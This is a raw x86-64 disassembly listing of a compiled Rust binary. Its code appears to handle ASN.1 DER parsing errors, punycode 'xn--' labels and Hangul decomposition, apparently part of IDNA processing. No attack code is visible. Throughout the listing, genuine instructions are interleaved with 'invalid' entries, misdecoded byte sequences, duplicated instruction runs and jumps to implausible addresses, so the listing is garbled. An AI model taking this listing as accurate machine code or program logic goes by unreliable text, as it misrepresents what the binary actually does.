movups xmmword [r8 + 0x18], xmm0
jmp 0x1a7f1b75ce7
inc rsi
lea rax, [rsp + 0x30]
mov qword [rax], rsi
lea rcx, [rsp + 0x20]
mov qword [rcx], rax
mov eax, 2
lea r9, [rsp + 0x38]
mov qword [r9], rax
and qword [r9 + 0x10], 0
mov qword [r9 + 0x18], rax
and qword [r9 + 0x20], 0
lea rax, [0x1a7f1b75253]
mov qword [rcx + 8], rax
movabs rax, 0x800000020
mov qword [r9 + 0x28], rax
mov byte [r9 + 0x30], 3
lea rax, str.unknown_unsupported_ASN.1_DER_tag:_0x
lea r8, [rsp + 0x70]
mov qword [r8], rax
mov eax, 1
mov qword [r8 + 8], rax
mov qword [r8 + 0x20], r9
mov qword [r8 + 0x28], rax
jmp 0x1a7f1b75cdf
lea rax, [rsi + 4]
lea rcx, [rsp + 0x30]
mov qword [rcx], rax
add rsi, 8
lea rax, [rsp + 0x20]
mov qword [rax], rsi
lea r9, [rsp + 0x70]
mov qword [r9], rcx
lea rcx, [0x1a7f1b751b0]
idiv bh
dec dword [rcx - 0x77]
or byte [r9 - 0x77], cl
adc byte [r9 - 0x77], cl
sbb byte [r8 - 0x73], cl
add eax, 0xcdeba
idiv bh
dec dword [rcx - 0x77]
or byte [r9 - 0x77], cl
adc byte [r9 - 0x77], cl
sbb byte [r8 - 0x73], cl
add eax, 0xcdeba
lea r8, [rsp + 0x38]
mov qword [r8], rax
mov qword [r8 + 8], 3
and qword [r8 + 0x20], 0
invalid
and byte [rax], al
mov qword [r8 + 0x10], r9
mov qword [r8 + 0x18], 2
jmp 0x1a7f1b75ce7
invalid
add rsi, 8
lea rax, [rsp + 0x20]
mov qword [rax], rsi
lea rcx, [rsp + 0x70]
mov qword [rcx], rax
lea rax, [0x1a7f1b751b8]
mov qword [rcx + 8], rax
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
jmp 0x1a7f1b75cc9
lea rax, [rsi + 4]
mov qword [rsp + 0x30], rax
lea rax, str.unexpected_ASN.1_DER_tag:
lea r8, [rsp + 0x38]
mov qword [r8], rax
mov qword [r8 + 8], 1
lea rax, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
mov qword [r8 + 0x10], rax
xorps xmm0, xmm0
movups xmmword [r8 + 0x18], xmm0
mov rdi, qword [rdx + 0x20]
mov rbx, qword [rdx + 0x28]
mov rcx, rdi
mov rdx, rbx
call fcn.1a7f1b6d0f0
test al, al
jne 0x1a7f1b75ca0
cmp byte [rsi + 1], 0x17
je 0x1a7f1b75d00
inc rsi
lea rax, [rsp + 0x20]
mov qword [rax], rsi
lea rcx, [rsp + 0x70]
mov qword [rcx], rax
lea rax, str.expected
lea r8, [rsp + 0x38]
mov qword [r8], rax
mov qword [r8 + 8], 2
and qword [r8 + 0x20], 0
lea rax, [0x1a7f1b74a48]
mov qword [rcx + 8], rax
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], 1
mov rcx, rdi
mov rdx, rbx
call fcn.1a7f1b6d0f0
test al, al
je 0x1a7f1b75d00
mov al, 1
jmp 0x1a7f1b75cf4
inc rsi
lea rax, [rsp + 0x20]
mov qword [rax], rsi
lea rcx, [rsp + 0x70]
mov qword [rcx], rax
lea rax, [0x1a7f1b74a48]
mov qword [rcx + 8], rax
lea rax, str.malformed_ASN.1_DER_value_for
lea r8, [rsp + 0x38]
mov qword [r8], rax
mov eax, 1
mov qword [r8 + 8], rax
and qword [r8 + 0x20], 0
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], rax
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
call fcn.1a7f1b6d0f0
nop
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
ret
lea rax, [rsp + 0x30]
lea rcx, [rsp + 0x70]
mov qword [rcx], rax
lea rax, str.got
lea r8, [rsp + 0x38]
mov qword [r8], rax
mov eax, 1
mov qword [r8 + 8], rax
and qword [r8 + 0x20], 0
lea rdx, [0x1a7f1b74a48]
mov qword [rcx + 8], rdx
mov qword [r8 + 0x10], rcx
mov qword [r8 + 0x18], rax
mov rcx, rdi
mov rdx, rbx
jmp 0x1a7f1b75cef
cmp byte [rax + rcx], 0xc0
jl 0x1a7f1b783e2
jmp 0x1a7f1b783e4
xor eax, eax
mov rdx, rcx
ret
mov eax, 0x80808080
add byte [rax - 0x7ab37f80], 1
invalid
invalid
invalid
test qword [rcx], r8
add byte [rax - 0x7f7f7f80], 0x80
add byte [rax + 0x1854c80], 0x74
sbb esi, dword [rcx]
rol bl, 0x80
jl 0x1a7f1b78427
test qword [rcx], r8
je 0x1a7f1b7842b
xor eax, eax
ret
cmp byte [rcx + rdx - 1], 0
inc dword [rax]
mov rdx, r8
js 0x1a7f1b78412
mov r8, rdx
sub r8, 1
setb al
jae 0x1a7f1b78413
jmp 0x1a7f1b78412
cmp r9, rcx
mov r9d, 8
cmove rax, r9
add rdx, 0xfffffffffffffff8
cmp rax, rdx
jae 0x1a7f1b7844d
test qword [rcx + rax], r8
jne 0x1a7f1b78410
add rax, 8
jmp 0x1a7f1b7843c
test qword [rcx + rdx], r8
sete al
ret
sar byte [rcx + 0x2bc], 0x41
mov eax, 2
cmovne r8d, ecx
xor ecx, ecx
xor edx, edx
div r8d
mov r10d, eax
xor edx, edx
div r9d
mov r8d, eax
add r8d, r10d
mov r9d, 0x23
invalid
add byte [rcx - 0x7f], al
clc
enter 1, 0
add byte [rax], al
cmp r8d, 0x1c8
cmp eax, 0x1c8
add byte [rax], al
jb 0x1a7f1b784a8
mov eax, r8d
xor edx, edx
div r9d
add ecx, 0x24
mov r8d, eax
jmp 0x1a7f1b7848f
imul eax, r8d, 0x24
add r8d, 0x26
xor edx, edx
div r8w
movzx eax, ax
add ecx, eax
mov eax, ecx
add rsp, 0x28
ret
mov r12, qword [rdi + 8]
jne 0x1a7f1b78674
cmp r12, rax
jne 0x1a7f1b78674
xor esi, esi
mov rax, rsi
mov rdx, r12
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add rsi, rax
sub r12, rax
jmp 0x1a7f1b7865d
mov rax, qword [rdi]
mov rcx, qword [rdi + 0x20]
mov ecx, dword [rdi + 0x20]
mov ecx, dword [rdi + 0x20]
and byte [rax - 0x75], cl
je 0x1a7f1b786ab
mov rsi, qword [rsp + 0x20]
add rsi, rax
invalid
sub r12, rax
sub esp, eax
and byte [rax + 1], cl
invalid
sub esp, eax
mov qword [rdi], rcx
jmp 0x1a7f1b7865d
por mm1, mm2
or cl, byte [rax - 0x7d]
invalid
add esp, 0x28
or byte [r9 + 0xf], al
or byte [rcx + 0xf], al
mov dh, 0x41
inc dword [rax + rax*8 - 0x473cf888]
js 0x1a7f1b786fe
ret
mov eax, 0x110000
js 0x1a7f1b786fe
ret
ret
lea rdx, [r9 - 2]
mov qword [rcx + 8], rdx
mov dword [rcx + 8], edx
mov dword [rcx + 8], edx
movzx edx, byte [r9 - 2]
cmp dl, 0xc0
jge 0x1a7f1b7873f
lea r8, [r9 - 3]
mov qword [rcx + 8], r8
invalid
invalid
or byte [r13 + 0xf], al
mov dh, 0x41
movzx r8d, byte [r9 - 3]
std
cmp r8b, 0xc0
jge 0x1a7f1b78744
invalid
and dword [rbp - 0x73], ecx
push rcx
cld
lea r10, [r9 - 4]
mov qword [rcx + 8], r10
movzx ecx, byte [r9 - 4]
and ecx, 7
invalid
shl ecx, 6
and r8d, 0x3f
or r8d, ecx
jmp case.0x1a7f1b74eb0.93
invalid
and edx, 0x1f
jmp 0x1a7f1b78752
and r8d, 0xf
shl r8d, 6
and edx, 0x3f
loop 0x1a7f1b7878e
loop 0x1a7f1b7878e
or edx, r8d
shl edx, 6
and eax, 0x3f
or eax, edx
ret
or byte [rbx + 0x20003], bh
add eax, dword [rax]
add al, byte [rax]
mov rcx, rsi
int1
call fcn.1a7f1b76beb
mov edi, eax
cmp eax, 0x110000
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
je 0x1a7f1b787a3
lea eax, [rdi - 0x21]
cmp eax, 0x5e
jb 0x1a7f1b78776
out 0x89, eax
stc
mov ecx, edi
call fcn.1a7f1bd6881
cmp al, 0x11
ja 0x1a7f1b78776
movzx eax, al
bt rbx, rax
ret
jae 0x1a7f1b78776
ror byte [rax + 0xf], 0xa3
ret
cmp edi, 0x110000
setne al
add rsp, 0x30
invalid
xor byte [rbx + 0x5f], bl
pop rsi
ret
invalid
add ecx, dword [rdx]
add al, 0xa
add eax, 0xa06410a
invalid
or al, byte [rcx + 9]
or al, byte [rcx + 0xa]
or al, byte [rcx + 0xb]
setne al
invalid
ret
rol bl, 0x41
push rdi
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rsi, r9
mov rdi, r8
mov r14, rdx
mov rbx, rcx
lea r15, [rcx + rdx]
lea rcx, [rsp + 0x28]
mov qword [rcx], rbx
mov qword [rcx + 8], r15
call fcn.1a7f1b76beb
cmp eax, 0x110000
je 0x1a7f1b788f0
mov ebp, eax
mov rax, rdi
shr rax, 0x18
test al, al
je 0x1a7f1b78853
mov rcx, rbx
mov rdx, r14
mov r8d, 0x2d
call fcn.1a7f1b76e48
test al, al
jne 0x1a7f1b7884a
mov rcx, rbx
mov rdx, r14
mov r8d, 0x2d
call fcn.1a7f1b76ec3
test al, al
je 0x1a7f1b78853
mov byte [rsi + 1], 1
jmp 0x1a7f1b788f0
imul eax, ebp, 0x9e3779b9
imul ecx, ebp, 0x31415926
xor eax, ecx
imul rax, rax, 0x992
shr rax, 0x1f
and eax, 0xfffffffe
pop rcx
xor dword [r9], esi
enter 0x6948, 0xffffffffffffffc0
xchg edx, eax
or dword [rax], eax
add byte [rax - 0x3f], cl
call 0x1a7f0980b8e
lea rdx, [0x1a7f1c83848]
movzx eax, word [rax + rdx]
add eax, ebp
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x992
shr rax, 0x1e
rcl byte [rdx + 0x48000009], 0xc1
or dword [rax], eax
add byte [rax - 0x3f], cl
shr eax, 0x1e
call 0x1a7ee980bb0
and eax, 0xfffffffc
lea rcx, [0x1a7f1c84b6c]
cmp dword [rax + rcx], ebp
jne 0x1a7f1b788a4
mov byte [rsi + 3], 1
jmp 0x1a7f1b788f0
mov ebp, edi
shr ebp, 8
lea r14, [rsp + 0x28]
mov qword [r14], rbx
mov qword [r14 + 8], r15
lea rbx, [0x1a7f1c9e3b4]
mov rcx, r14
call fcn.1a7f1b76beb
cmp eax, 0x110000
je 0x1a7f1b788f0
mov ecx, eax
call fcn.1a7f1b7825d
movzx eax, byte [rax]
cmp rax, 7
ja case.0x1a7f1b788e4.1
movsxd rcx, dword [rbx + rax*4]
add rcx, rbx
mov eax, ebp
jmp rcx
mov eax, edi
test al, al
je case.0x1a7f1b788e4.0
mov byte [rsi + 4], 1
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
sub esp, 0x218
movaps xmmword [rsp + 0x200], xmm6
mov rdi, r9
mov rbx, r8
mov qword [rsp + 0x158], rdx
mov qword [rsp + 0x1c8], rcx
test r9, r9
je 0x1a7f1b789b2
lea rax, [rbx + rdi]
lea rsi, [rsp + 0x170]
and al, 0x70
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
mov qword [rsi + 8], rax
xor ecx, ecx
movaps xmm6, xmmword [0x1a7f1c35430]
and al, 0x70
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
mov r14, rcx
mov rcx, rsi
call fcn.1a7f1b76beb
mov ecx, 0
cmp eax, 0x2e
je 0x1a7f1b7894f
cmp eax, 0x110000
add byte [rax], al
adc dword [rax], eax
je 0x1a7f1b79096
add byte [rax], al
test r14, r14
jne 0x1a7f1b78979
cmp eax, 0x2d
je 0x1a7f1b789b2
clc
sub eax, 0x5b93974
mov ecx, 5
cmp r14, 4
ja 0x1a7f1b789a2
add byte [rax], al
add byte [rcx - 0x7d], cl
inc byte [rdi + rsi*2]
invalid
movups xmmword [rsp + 0x70], xmm6
je 0x1a7f1b7ae98
invalid
invalid
add byte [rax], al
or dword [0x1a82cf98991], esp
mov spl, 0x70
cmp eax, dword [rsp + r14*4 + 0x70]
jne 0x1a7f1b789a2
inc r14
mov rcx, r14
mov ecx, esi
mov ecx, esi
cmp r14, 4
je 0x1a7f1b789b2
lea edx, [rax - 0x61]
cmp edx, 0x1a
jb 0x1a7f1b7894f
add eax, 0xffffffd0
cmp eax, 0xa
jb 0x1a7f1b7894f
mov rcx, qword [rsp + 0x158]
mov eax, dword [rcx + 0x30]
movzx r9d, byte [rcx + 0x34]
and qword [rcx + 0x10], 0
adc byte [rax], al
xor byte [r15 + rcx - 0x4a], al
xor al, 0x48
and dword [rcx + 0x10], 0
adc byte [rax], al
adc byte [rax], al
lea rdx, [rsp + 0x38]
and al, 0x38
and dword [rdx + 8], 0
and qword [rdx], 0
xorps xmm6, xmm6
push rdi
test byte [rbp + rcx*4 - 0x5c], 0x24
and al, 0x30
add dword [rax], eax
invalid
push rdi
test byte [rbp + rcx*4 - 0x5c], 0x24
and al, 0x30
add dword [rax], eax
invalid
and al, 0x30
add dword [rax], eax
add byte [rcx + 0xf], al
adc dword [rsp + 2], esi
movups xmmword [r12 + 2], xmm6
movzx r8d, word [r12 + 0x10]
lea r10, [rsp + 0x80]
add byte [rsi + 0x45], ah
mov dword [rdx + 0x86], eax
invalid
adc byte [rbp + rcx*4 - 0x6c], cl
and al, 0x80
add byte [rax], al
add byte [rsi + 0x45], ah
mov dword [rdx + 0x86], eax
invalid
add byte [rcx + 0xf], al
adc byte [rsp], al
movups xmm0, xmmword [r12]
movups xmmword [r10 + 0x76], xmm0
movups xmmword [rdx + 0x76], xmm0
and qword [r10 - 0x10], 0
and dword [r10], 0
add byte [rcx - 0x7d], al
and al, byte [rax]
xor r8d, r8d
and word [r10 + 4], 0
mov byte [r10 + 8], r8b
and dword [r10 + 0xc], 0
mov byte [r10 + 0x10], r8b
and dword [r10 + 0x14], 0
mov byte [r10 + 0x18], r8b
and dword [r10 + 0x1c], 0
mov byte [r10 + 0x20], r8b
or byte [rcx - 0x7d], al
invalid
and dword [r10 + 0x24], 0
add rdi, rbx
mov qword [r10 + 0x28], rbx
mov qword [r10 + 0x30], rdi
mov qword [r10 + 0x38], rdx
and qword [r10 + 0x40], 0
mov byte [r10 + 0x54], r9b
mov byte [rsp + 0x183], r8b
and al, 0x83
add dword [rax], eax
add byte [rdi], cl
adc dword [rsp + 0x173], esi
mov ah, 0x24
jae 0x1a7f1b78a62
add byte [rax], al
and al, 0x83
add dword [rax], eax
add byte [rdi], cl
adc dword [rsp + 0x173], esi
mov ah, 0x24
jae 0x1a7f1b78a62
add byte [rax], al
mov ah, 0x24
jae 0x1a7f1b78a62
add byte [rax], al
add byte [rcx - 0x77], al
mov dword [r10 + 0x50], eax
push rax
mov edx, dword [rsp + 0x180]
mov dword [r10 + 0x65], edx
movups xmm0, xmmword [rsp + 0x170]
adc byte [rsp + 0x170], al
adc byte [rsp + 0x170], al
movups xmmword [r10 + 0x55], xmm0
lea rdx, [rsp + 0xf0]
add byte [rax], al
add byte [rax], al
and dword [rdx], 0
shl r9, 0x20
and byte [rsi - 0x7d], ah
invalid
add al, 0
add byte [rcx + 9], cl
ror dword [rcx + rcx*4 - 0x74], 0x24
rol byte [rcx], 1
add dword [rax], eax
invalid
and byte [rsi - 0x7d], ah
invalid
add byte [rcx + 9], cl
ror dword [rcx + rcx*4 - 0x74], 0x24
rol byte [rcx], 1
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rax*4], ah
add byte [rdx], 0
mov rax, qword [rsp + 0x280]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x1f8], rax
add byte [rdx], 0
add byte [rax - 0x75], cl
adc byte [rax - 0x77], cl
test byte [rax + rdi*8], ah
add dword [rax], eax
add bh, al
mov dword [rdx + 0x20], 0x110000
mov byte [rdx + 0x24], r8b
mov byte [rdx + 0x24], al
xor edx, edx
call fcn.1a7f1bd68f0
invalid
invalid
invalid
or dword [rcx + 0x12], ebx
mov dword [rdx + 0x20], 0x110000
mov byte [rdx + 0x24], r8b
mov byte [rdx + 0x24], al
mov byte [rdx + 0x24], al
xor edx, edx
call fcn.1a7f1bd68f0
lea r13, [0x1a7f1c9e3d4]
invalid
add byte [rbx + rcx*4 + 0x5c], cl
and al, 0x70
mov r11, qword [rsp + 0x70]
mov rax, qword [rsp + 0x78]
mov r9d, dword [rsp + 0xf0]
mov rdx, qword [rsp + 0xf8]
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xf8
add byte [rax], al
add byte [rbx + rcx*4 - 0x6c], cl
mov r10, qword [rsp + 0x108]
movzx r8d, word [rsp + 0xf4]
movzx ecx, r8w
mov r10, qword [rsp + 0x108]
movzx r8d, word [rsp + 0xf4]
movzx ecx, r8w
cmp r11, 1
jne 0x1a7f1b78b4d
test r9d, r9d
je 0x1a7f1b78b1c
cmp rax, r10
cmp eax, edx
jb 0x1a7f1b79015
and qword [rsp + 0x108], 0
xor r10d, r10d
jmp 0x1a7f1b78b42
cmp r8w, 5
jae 0x1a7f1b7af0d
cmp rax, rcx
jb 0x1a7f1b7900d
test r8w, r8w
je 0x1a7f1b78b3f
and word [rsp + 0xf4], 0
xor r8d, r8d
and qword [rsp + 0x70], 0
xor r11d, r11d
jmp 0x1a7f1b78af6
cmp r11, 2
je 0x1a7f1b78fd0
lea rbx, [rsp + 0x80]
mov qword [rsp + 0x130], rbx
mov rdx, qword [rbx + 0x60]
test rdx, rdx
jne 0x1a7f1b78f8b
add al, 0
add byte [rax + 0xf02507b], al
cmp byte [rbx + 0x50], 2
je 0x1a7f1b78d81
test byte [rbx], al
add al, byte [rax]
add byte [rbp + rcx*4 + 0x73], cl
sub byte [rbp + rcx*4 + 0x7b], cl
cmp qword [r15], 0
lea r14, [rbx + 0x28]
lea r15, [rbx + 0x40]
cmp qword [r15], 0
cmp dword [rdi], 0
je 0x1a7f1b78ba3
mov rcx, r15
call fcn.1a7f1b76beb
cmp eax, 0x110000
jne 0x1a7f1b78c22
and qword [r15], 0
mov rcx, r14
call fcn.1a7f1b76beb
mov edi, eax
lea eax, [rdi - 0x2d]
cmp eax, 2
jb 0x1a7f1b78c5d
add byte [rax], al
add byte [rcx + 0x110000ff], al
add byte [rdi], cl
test byte [rax - 0x72ffffff], dh
cmp edi, 0x110000
je 0x1a7f1b78d75
lea eax, [rdi - 0x61]
lahf
cmp eax, 0x1a
jb 0x1a7f1b78c5d
lea eax, [rdi - 0x30]
cmp eax, 0xa
jb 0x1a7f1b78c5d
mov ecx, edi
call fcn.1a7f1b7825d
movzx ecx, byte [rax]
movsxd rcx, dword [r13 + rcx*4]
add rcx, r13
jmp rcx
mov edi, eax
jmp 0x1a7f1b78c5d
mov rax, qword [rsp + 0x130]
cmp byte [rax + 0x68], 0
je 0x1a7f1b78cc7
cmp edi, 0x80
jb 0x1a7f1b78d30
lea ebx, [rdi - 0xac00]
cmp ebx, 0x2ba4
jb 0x1a7f1b78cdd
mov ecx, edi
call fcn.1a7f1bd69e6
test rax, rax
jne 0x1a7f1b78ca1
mov ecx, edi
call fcn.1a7f1bd6a56
test rax, rax
je 0x1a7f1b78d30
mov rbx, rax
mov r14, rdx
shl r14, 2
xor esi, esi
cmp r14, rsi
je 0x1a7f1b78d3a
mov edx, dword [rbx + rsi]
mov rcx, r12
call fcn.1a7f1b781fd
add rsi, 4
jmp 0x1a7f1b78cad
cmp edi, 0x80
jb 0x1a7f1b78d30
lea ebx, [rdi - 0xac00]
cmp ebx, 0x2ba4
jae 0x1a7f1b78d47
mov eax, ebx
xor edx, edx
mov cx, 0x24c
div cx
mov edi, edx
or eax, 0x1100
mov esi, 0xffff
and eax, esi
mov rcx, r12
mov edx, eax
call fcn.1a7f1b781fd
mov eax, edi
xor edx, edx
mov di, 0x1c
div di
lea edx, [rax + 0x1161]
and edx, esi
mov rcx, r12
call fcn.1a7f1b781fd
mov eax, ebx
xor edx, edx
div di
test dx, dx
je 0x1a7f1b78d3a
add edx, 0x11a7
movzx edi, dx
mov rcx, r12
mov edx, edi
call fcn.1a7f1b781fd
mov rbx, qword [rsp + 0x130]
jmp 0x1a7f1b78b67
mov ecx, edi
call fcn.1a7f1bd6a56
test rax, rax
je 0x1a7f1b78d30
mov rbx, rax
mov r14, rdx
shl r14, 2
xor esi, esi
cmp r14, rsi
je 0x1a7f1b78d3a
mov edx, dword [rbx + rsi]
mov rcx, r12
call fcn.1a7f1b781fd
add rsi, 4
jmp 0x1a7f1b78d5f
mov byte [rbx + 0x50], 2
mov rbx, qword [rsp + 0x130]
cmp dword [rbx], 0
je 0x1a7f1b78d8c
mov rax, qword [rbx + 0x18]
jmp 0x1a7f1b78d90
movzx eax, word [rbx + 4]
test rax, rax
je 0x1a7f1b78f93
mov rcx, rbx
call fcn.1a7f1b77cbd
mov rbx, qword [rsp + 0x130]
mov r8d, dword [rbx]
test r8d, r8d
je 0x1a7f1b78db7
mov rdx, qword [rbx + 0x18]
jmp 0x1a7f1b78dbb
movzx edx, word [rbx + 4]
mov qword [rbx + 0x60], rdx
mov rcx, qword [rbx + 0x58]
test r8d, r8d
je 0x1a7f1b78dd2
mov r9, qword [rbx + 8]
mov rax, qword [rbx + 0x18]
jmp 0x1a7f1b78de4
movzx eax, word [rbx + 4]
cmp rax, 5
jae 0x1a7f1b7af1b
lea r9, [rbx + 8]
cmp rax, rcx
jbe 0x1a7f1b7ae5a
lea rax, [rbx + 0x58]
mov edi, dword [r9 + rcx*8 + 4]
inc rcx
cmp rcx, rdx
jne 0x1a7f1b78e0e
test r8d, r8d
mov qword [rsp + 0x28], rax
je 0x1a7f1b78e16
mov r12, qword [rbx + 0x18]
jmp 0x1a7f1b78e1b
mov qword [rax], rcx
jmp 0x1a7f1b78ee5
movzx r12d, word [rbx + 4]
lea r15, [rbx + 8]
sub r12, rdx
xor r14d, r14d
cmp r12, r14
je 0x1a7f1b78eb1
mov rcx, qword [rbx + 0x60]
add rcx, r14
cmp dword [rbx], 0
je 0x1a7f1b78e54
mov r10, qword [rbx + 0x18]
cmp r10, rcx
jbe 0x1a7f1b7a84e
mov rax, qword [r15]
mov bpl, byte [rax + rcx*8]
mov esi, dword [rax + rcx*8 + 4]
jmp 0x1a7f1b78e97
movzx r10d, word [rbx + 4]
cmp r10, 5
jae 0x1a7f1b7aecf
cmp rcx, r10
jae 0x1a7f1b7a84e
mov bpl, byte [r15 + rcx*8]
mov esi, dword [r15 + rcx*8 + 4]
lea rax, str.E:.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov qword [rsp + 0x20], rax
mov r9d, 4
xor ecx, ecx
mov rdx, r10
mov r8, r15
call fcn.1a7f1b77441
mov r10, rdx
cmp r10, r14
jbe 0x1a7f1b7a857
mov byte [rax + r14*8], bpl
mov dword [rax + r14*8 + 4], esi
inc r14
jmp 0x1a7f1b78e25
cmp dword [rbx], 0
je 0x1a7f1b78ec7
cmp qword [rbx + 0x18], r12
mov rax, qword [rsp + 0x28]
jb 0x1a7f1b78eda
mov qword [rbx + 0x18], r12
jmp 0x1a7f1b78eda
movzx eax, word [rbx + 4]
cmp r12, rax
mov rax, qword [rsp + 0x28]
jae 0x1a7f1b78eda
mov word [rbx + 4], r12w
movups xmmword [rax], xmm6
lea r12, [rsp + 0x130]
mov ecx, edi
call fcn.1a7f1bd6ac6
mov ebp, eax
mov ebx, dword [rsp + 0x110]
cmp ebx, 0x110000
jne 0x1a7f1b78f12
test bpl, bpl
jne 0x1a7f1b7902b
mov dword [rsp + 0x110], edi
jmp 0x1a7f1b78b57
cmp byte [rsp + 0x114], 0
je 0x1a7f1b78f38
cmp byte [rsp + 0x115], bpl
jae 0x1a7f1b78f5e
mov ecx, ebx
mov edx, edi
call fcn.1a7f1bd6bcd
cmp eax, 0x110000
je 0x1a7f1b78f67
jmp 0x1a7f1b78f52
mov ecx, ebx
mov edx, edi
call fcn.1a7f1bd6bcd
cmp eax, 0x110000
jne 0x1a7f1b78f52
test bpl, bpl
jne 0x1a7f1b78f67
jmp 0x1a7f1b7908d
mov dword [rsp + 0x110], eax
jmp 0x1a7f1b78b57
test bpl, bpl
je 0x1a7f1b7906d
lea rcx, [rsp + 0xf0]
mov edx, edi
call fcn.1a7f1b77482
mov byte [rsp + 0x114], 1
mov byte [rsp + 0x115], bpl
jmp 0x1a7f1b78b57
mov r8d, dword [rbx]
jmp 0x1a7f1b78dbf
mov qword [rsp + 0x70], 2
and qword [rsp + 0x78], 0
mov ebx, dword [rsp + 0x110]
mov r11d, 2
mov eax, 0
cmp ebx, 0x110000
je 0x1a7f1b78ad5
mov dword [rsp + 0x110], 0x110000
jmp 0x1a7f1b79059
test r9d, r9d
je 0x1a7f1b78fe5
cmp rax, r10
jb 0x1a7f1b78ffc
and qword [rsp + 0x108], 0
jmp 0x1a7f1b7903e
cmp cx, 5
jae 0x1a7f1b7af0d
lea rdx, [rsp + 0xf8]
cmp rax, rcx
jae 0x1a7f1b7902f
mov ebx, dword [rdx + rax*4]
inc rax
mov qword [rsp + 0x70], 2
jmp 0x1a7f1b79024
lea rdx, [rsp + 0xf8]
mov ebx, dword [rdx + rax*4]
inc rax
mov qword [rsp + 0x70], 1
mov qword [rsp + 0x78], rax
jmp 0x1a7f1b79059
mov ebx, edi
jmp 0x1a7f1b79059
test r8w, r8w
je 0x1a7f1b7903e
and word [rsp + 0xf4], 0
mov ebx, dword [rsp + 0x110]
mov eax, 0x110000
mov dword [rsp + 0x110], eax
cmp ebx, eax
je 0x1a7f1b791db
mov rcx, qword [rsp + 0x158]
mov edx, ebx
call fcn.1a7f1bec501
jmp 0x1a7f1b78acb
mov dword [rsp + 0x110], edi
mov byte [rsp + 0x114], 0
mov qword [rsp + 0x70], 1
and qword [rsp + 0x78], 0
jmp 0x1a7f1b79059
mov dword [rsp + 0x110], edi
jmp 0x1a7f1b79059
mov rcx, qword [rsp + 0x280]
mov rdx, rbx
mov r8, rdi
call fcn.1a7f1bd69a6
and dword [rsp + 0x178], 0
and qword [rsp + 0x170], 0
mov rax, qword [rsp + 0x158]
cmp byte [rax + 0x32], 0
je 0x1a7f1b79184
mov rax, qword [rsp + 0x280]
mov rsi, qword [rax]
mov rdi, qword [rax + 0x10]
mov rcx, rsi
mov rdx, rdi
mov r8d, 0x2e
call fcn.1a7f1b76ec3
test al, al
je 0x1a7f1b79111
lea rbx, [rdi - 1]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.1a7f1b783cb
test rax, rax
je 0x1a7f1b7aff4
mov rsi, rax
mov rdi, rdx
test rdi, rdi
je 0x1a7f1b79140
lea rbx, [rsp + 0x70]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.1a7f1b78515
mov rcx, rbx
call fcn.1a7f1b7854a
test rax, rax
je 0x1a7f1b7913b
test rdx, rdx
jne 0x1a7f1b79129
test rax, rax
je 0x1a7f1b79148
mov byte [rsp + 0x17a], 1
cmp rdi, 0xfd
ja 0x1a7f1b7917c
lea rbx, [rsp + 0x70]
mov rcx, rbx
mov rdx, rsi
mov r8, rdi
call fcn.1a7f1b78515
mov rcx, rbx
call fcn.1a7f1b7854a
test rax, rax
je 0x1a7f1b79177
cmp rdx, 0x40
jb 0x1a7f1b79164
test rax, rax
je 0x1a7f1b79184
mov byte [rsp + 0x179], 1
lea rcx, [rsp + 0x170]
call fcn.1a7f1b787b4
test al, al
je 0x1a7f1b791b4
mov eax, dword [rsp + 0x178]
mov rcx, qword [rsp + 0x1c8]
mov dword [rcx + 8], eax
mov rax, qword [rsp + 0x170]
mov qword [rcx], rax
jmp 0x1a7f1b791bf
mov rax, qword [rsp + 0x1c8]
mov byte [rax], 2
movaps xmm6, xmmword [rsp + 0x200]
add rsp, 0x218
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x80]
call fcn.1a7f1b775b1
lea rcx, [rsp + 0xf0]
call fcn.1a7f1b775d2
xorps xmm6, xmm6
lea rax, [rsp + 0x130]
movups xmmword [rax + 8], xmm6
mov qword [rax], 8
mov rax, qword [rsp + 0x1d0]
and rax, 0xffffffffffff00ff
mov qword [rsp + 0x1e0], rax
mov rax, qword [rsp + 0x158]
mov rdx, qword [rax]
mov r8, qword [rax + 0x10]
lea rcx, [rsp + 0x170]
call fcn.1a7f1b78515
mov dil, 1
xor r13d, r13d
lea rcx, [rsp + 0x170]
call fcn.1a7f1b7854a
test rax, rax
je 0x1a7f1b7a86b
mov rbx, rax
mov rsi, rdx
test dil, 1
jne 0x1a7f1b79277
mov rcx, qword [rsp + 0x280]
mov edx, 0x2e
call fcn.1a7f1bec501
mov r9d, 4
mov rcx, rbx
mov rdx, rsi
lea r8, str.xn__
call fcn.1a7f1b76e7d
mov rdi, rbx
add rdi, 4
test al, al
mov eax, 0
cmove rdi, rax
je 0x1a7f1b79399
mov qword [rsp + 0x120], r13
add rsi, 0xfffffffffffffffc
and qword [rsp + 0x140], 0
lea rcx, [rsp + 0x70]
mov edx, 0x2d
mov r8, rdi
mov qword [rsp + 0x28], rsi
mov r9, rsi
call fcn.1a7f1bec754
mov r13, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x88]
cmp rbx, rbp
ja 0x1a7f1b793df
mov rdx, qword [rsp + 0x80]
sub rbx, rdx
jb 0x1a7f1b793df
add rdx, r13
mov rax, qword [rsp + 0x90]
